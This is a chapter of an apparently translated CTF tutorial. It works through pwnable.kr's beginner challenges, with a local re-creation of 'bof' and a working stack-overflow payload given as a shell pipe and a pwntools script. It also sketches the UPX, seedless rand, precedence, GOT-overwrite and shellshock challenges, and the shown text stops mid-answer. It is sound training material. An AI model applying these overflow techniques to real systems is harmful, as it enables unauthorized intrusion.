Step 209. Finishing pwnable.kr Toddler’s Bottle — Graduation Day for the Beginner Wargame
Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★☆ | Estimated time: 10 hours (spread over several days recommended)
Prerequisites: Step 177 (CTF Sampler 2: Pwn — fd, collision), Step 203 (writing shellcode). You can read gdb disassembly.
⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. pwnable.kr is a legal learning platform built to be solved.
- What you need: WSL Ubuntu (gcc, gdb), Python + pwntools. The measured environment is Ubuntu 24.04, gcc 13.3.0, gdb 15.1, glibc 2.39, pwntools 4.15.0.
- Caution: we do not connect to the external platform (pwnable.kr) from this environment. Server connection scenes and flags are shown as "Screen example," and for the flagship challenge
bofwe compile an equivalent re-creation binary in WSL and measure the attack ourselves.
In Step 177 you got a taste of Toddler’s Bottle’s first two challenges (fd, collision). Today you run the rest of the course. Every challenge in this corner is a classic that teaches "one trap of the C language" — buffer overflow, packed binaries, predictable random numbers, operator precedence, even an old Bash vulnerability. Finish them all and you’ve graduated from the beginner wargame.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Summarize the full Toddler’s Bottle challenge list and the trap each one teaches
- Solve
bofby calculating the offset from the disassembly and overflowing the buffer - Write a solution script with pwntools’
process/p32/sendline - Explain the design intent behind a packed binary (UPX), predictable random numbers, and the operator-precedence trap
- Complete the habit of writing down "the one-line weakness the author aimed at" for every challenge
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Reading C + WSL Ubuntu bash + Python/pwntools (measured: Ubuntu 24.04, gdb 15.1, pwntools 4.15.0) |
| Today’s commands | file binary, strings binary, gdb -batch -ex "disassemble func", p32(0xcafebabe), p.sendline(payload) |
| Concepts needed | Stack frames and offset calculation, the danger of gets, executable packing (UPX), pseudorandom seeds, C operator precedence |
| Today’s deliverables | A local bof solution script + a "trap map" table of every Toddler’s Bottle challenge |
2-1. The Toddler’s Bottle Map — One Trap per Challenge
Toddler’s Bottle (the name means "for babies") is pwnable.kr’s beginner corner. The full list and each challenge’s theme are as follows (based on the platform’s public list):
| Challenge | Trap it teaches |
|---|---|
| fd, collision | Done in Step 177 — file descriptors, type casting |
| bof | Classic buffer overflow — gets and variable overwrite |
| flag | Unpacking a UPX-packed binary |
| passcode | A missing & in scanf → GOT overwrite (dissected in Step 210) |
| random | rand() without a seed produces the same sequence every time |
| mistake | Operator precedence — < is evaluated before = |
| shellshock | The famous 2014 Bash environment-variable vulnerability |
| coin1, blackjack, lotto | Timing, probability, and implementation bugs |
| cmd1, cmd2 | Command-filter bypass (paths, wildcards) |
| input, leg, uaf, memcpy, asm, unlink, etc. | Handling argv/envp, ARM assembly, UAF, integer overflow, shellcode, unlink |
Every hint lives in the source code. When you connect to the server, the challenge binary and its source sit side by side (Screen example):
# Screen example — right after connecting to the server
$ ssh bof@pwnable.kr -p2222
bof@ubuntu:~$ ls
bof bof.c flag
The source is the blueprint. Read it, grasp the author’s intent, and work the conditions backward — the exact routine from Step 177.
2-2. gets — The Most Dangerous Function in History
gets(buffer) reads until a newline with no length check. Stuff 100 bytes into a 32-byte buffer and it never stops; the extra 68 bytes overwrite neighboring stack variables and the saved return address. It was so dangerous that it was removed from the C11 standard, and modern compilers print the warning "the `gets’ function is dangerous" at link time (measured in this chapter). Why does a wargame still use it? Precisely to teach that danger.
2-3. Offsets — "Which Byte Is the Target Variable?"
Buffer-overflow solving comes down to a single number: the offset. It’s the distance in bytes from the start of the buffer to the target variable. Two ways to measure it — ① read the stack positions of the buffer and the variable (relative to rbp) in the gdb disassembly and subtract, ② send a distinctive pattern and watch which bytes get overwritten. Today we measure with method ①.
2-4. pwntools — The Standard Toolbox for Pwn
In Step 177 you built payloads with struct.pack and subprocess. In real work, pwntools does that job for you: launch with process("./bof"), pack little-endian with p32(0xcafebabe) (= struct.pack("<I", ...)), and handle I/O with sendline/recvall. Today’s solution script is your first real pwntools outing.
3. Follow Along
3-1. Re-creating the Flagship Challenge — bof.c
pwnable.kr’s bof is an open-source classic. The original targets a 32-bit environment, so we re-create it with one change to keep the same logic in this (64-bit) environment — copying the parameter key into a local variable check (to preserve the original’s "comparison variable sitting above the buffer" structure; you’ll see why, hands-on, in 3-2).
Input (bof64.c)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
int check = key; /* 64-bit re-creation: copy the parameter into a local */
printf("overflow me : ");
gets(overflowme);
if(check == 0xcafebabe){
printf("FLAG{b0f_0ffs3t_m4st3r}n");
}
else{
printf("Nah..n");
}
}
int main(int argc, char* argv[]){
setvbuf(stdout, NULL, _IONBF, 0); /* re-creation convenience: flush output immediately */
func(0xdeadbeef);
return 0;
}
Compile and first run
mkdir -p ~/lab209_213 && cd ~/lab209_213
gcc -fno-stack-protector -no-pie -o bof64 bof64.c
echo hello | ./bof64
overflow me : Nah..
(Measured 2026-09-09. At compile time you’ll see warning: the 'gets' function is dangerous and should not be used — the very warning from 2-2. -fno-stack-protector turns off the Step 62 canary; -no-pie fixes addresses. Both are practice switches that "lower the shields so we can learn.")
How to read it: the key passed via func(0xdeadbeef) is copied into check, and gets fills overflowme with input. The flag appears only when check == 0xcafebabe, but we can’t change func‘s argument. One path remains — use gets‘ overflow to overwrite check.
Prediction:
overflowmeandcheckare neighbors in the same stack frame. How many bytes from the buffer does it take to reachcheck? Confirm it yourself in the next section’s disassembly.
3-2. Calculating the Offset — Three Lines of Disassembly Are Enough
gdb -batch -ex "disassemble func" ./bof64 | grep -E "mov.*edi|lea.*rbp|cmpl"
0x0000000000401182 <+12>: mov %edi,-0x34(%rbp)
0x000000000040119f <+41>: lea -0x30(%rbp),%rax
0x00000000004011b0 <+58>: cmpl $0xcafebabe,-0x4(%rbp)
(Measured 2026-09-09.)
How to read the output: three lines say it all.
<+41>: the instruction building the buffer address passed togets— the buffer is at rbp-0x30<+58>: the comparison —checkis at rbp-0x4, and the target value is0xcafebabe- Offset =
0x30 - 0x4 = 0x2c= 44 bytes
So the answer is "44 A’s + the 4-byte target value." The first 44 bytes are padding; the next 4 land exactly on check. In the original (32-bit) challenge this offset is known to be 52 bytes — stack-frame layout changes with the compiler and bit width, which is why an offset is never memorized, always re-measured.
3-3. The Attack — 44 Bytes of Padding + 0xcafebabe
First, confirm with a shell pipe:
python3 -c "
import sys, struct
sys.stdout.buffer.write(b'A'*44 + struct.pack('<I', 0xcafebabe))
" | ./bof64
overflow me : FLAG{b0f_0ffs3t_m4st3r}
(Measured 2026-09-09.)
How to read the output: instead of Nah.., the flag appeared. Our 44 A’s filled the buffer and its neighbor, and the final 4 bytes be ba fe ca (little-endian) changed check to exactly 0xcafebabe. We didn’t "blow up" memory — we measured an exact distance and overwrote a neighboring variable.
Here’s the same attack organized as a pwntools script (solve_bof.py):
from pwn import *
p = process("./bof64")
payload = b"A" * 44 # distance from buffer (rbp-0x30) to check (rbp-0x4)
payload += p32(0xcafebabe) # target value in little-endian
p.sendline(payload)
print(p.recvall(timeout=3).decode(errors="replace"))
[x] Starting local process './bof64'
[+] Starting local process './bof64': pid 627
[+] Receiving all data: Done (38B)
[*] Process './bof64' stopped with exit code -11 (SIGSEGV) (pid 627)
overflow me : FLAG{b0f_0ffs3t_m4st3r}
(Measured 2026-09-09, pwntools 4.15.0.)
How to read the new tool: p32 packs little-endian, and sendline sends payload + newline. Note the SIGSEGV on the last line — the segfault happened after the flag printed. Because the padding, including the NUL gets appends, touched the saved rbp, the function crashed on its way back. Flag first, crash later — the original bof behaves exactly this way. "The attack can succeed and the program can still die" is everyday life in buffer overflows.
3-4. How to Think About the Other Challenges — Screen Examples and Concepts
For the server challenges we summarize only the design intent, without connecting (actual connection scenes are Screen examples).
flag — the packed binary. This challenge gives you only an executable, no source. Check it with file:
# Screen example — the analysis flow for flag
$ file flag
flag: ELF 32-bit LSB executable, ..., UPX compressed, ...
$ upx -d flag # unpack
$ strings flag | grep -i "upx|flag"
UPX! ... The quick brown fox ...
UPX is a "packing" tool that compresses executables. A packed binary can’t be analyzed, so you unpack it with upx -d and sift the strings with strings — and there’s the flag. It teaches "you never know an executable until you open it." upx isn’t installed in this environment, so we skip the re-creation (if it’s installed, you can compress and unpack any binary with upx).
random — seedless randomness. The source XORs the return value of rand() with your input. The key fact: if you never call srand() to give it a seed, rand() emits the same sequence every time, no matter how often you restart the program. It’s not "random" at all — it’s a constant. You can confirm this locally in five seconds: run a program that calls rand() once, twice. Same number. The answer is that fixed value XORed with the target.
mistake — operator precedence. The source has a line like if(fd=open(...)<0). In C, < is evaluated before =, so fd receives not the opened file number but the comparison result (0 or 1). If fd becomes 0, the program reads from stdin — the same door as Step 177’s fd challenge, entered through a completely different bug.
passcode — today’s real boss. It starts with a missing-& bug like scanf("%d", passcode1) and ends with overwriting fflush‘s GOT entry with the address of a system call. This is the first appearance of "write an arbitrary value to an arbitrary address" — which is exactly Step 210’s topic. Today we only note why this challenge is scary; we re-create the structure by hand in Step 210.
shellshock — a historic vulnerability. A 2014 Bash environment-variable parsing bug: append a command after a function definition in an environment variable’s value, and Bash executed that command too. The challenge exploits an old Bash left unpatched on the wargame server — the lesson is "unpatched software is an eternal attack surface."
3-5. The Write-up Routine — Notes Are Skill
Every time you solve a challenge, record it in Step 177’s format:
[bof] Input: stdin(gets) → overflowme[32] → check comparison (0xcafebabe)
Reverse: offset 44 from disassembly → A*44 + p32(0xcafebabe)
Weakness: length-check-free gets allowed to write into a neighboring local
As these one-line summaries pile up, you’ll start spotting "which line is the hole" the moment you see similar code. The real goal of finishing the course isn’t the flag count — it’s this eye.
4. Missions & Exercises
Mission — A Second bof with a Different Offset
- Make bof2.c by changing
char overflowme[32];tochar overflowme[24];in bof64.c - Calculate the new offset from the disassembly, the same way as before
- Fix the solution script and pop the flag
- Write one line in your notes on why bof and bof2 have different offsets
Exercises
Problem 1. In bof, why does a payload of "40 A’s + p32(0xcafebabe)" instead of "44 A’s" fail? Which number in the disassembly is the evidence?
Problem 2. In 3-3’s pwntools result, why did SIGSEGV occur after the flag printed? Explain in terms of the character gets appends and the saved rbp.
Problem 3. The core of random — "why does rand() without a seed give the same number every time?" And why is this fact fatal in a real service (e.g., session-token generation)?
Problem 4. In mistake’s if(fd=open(...)<0), what value actually lands in fd, and how does that make it "the same door as the fd challenge"?
5. Model Answers & Completion Criteria
Mission Model Answer
Shrink the buffer to 24 and the disassembly moves the buffer to around rbp-0x28 (confirm the exact value from your own greped output — that is the mission’s core procedure). Compute the new offset as "the buffer’s rbp-relative position − check’s rbp-relative position," and only b"A" * 44 in the script needs the new number.
How to verify: ① did you find the two lines lea -0x??(%rbp) and cmpl $0xcafebabe,-0x4(%rbp) in the disassemble func output and write down the subtraction, ② did the flag pop with the new offset, ③ does your note say "when the buffer shrinks, its rbp-relative position pulls closer and the offset changes — re-measure the offset for every binary."
Exercise Answers
Problem 1 answer. Because the offset is 4 bytes short, the p32 value is written not on check (rbp-0x4) but 4 bytes below it. The evidence is the two relative positions in the disassembly — buffer rbp-0x30, check rbp-0x4, a difference of 0x2c (44). Miss an offset attack by even 1 byte and the condition fails.
Problem 2 answer. gets writes one more NUL (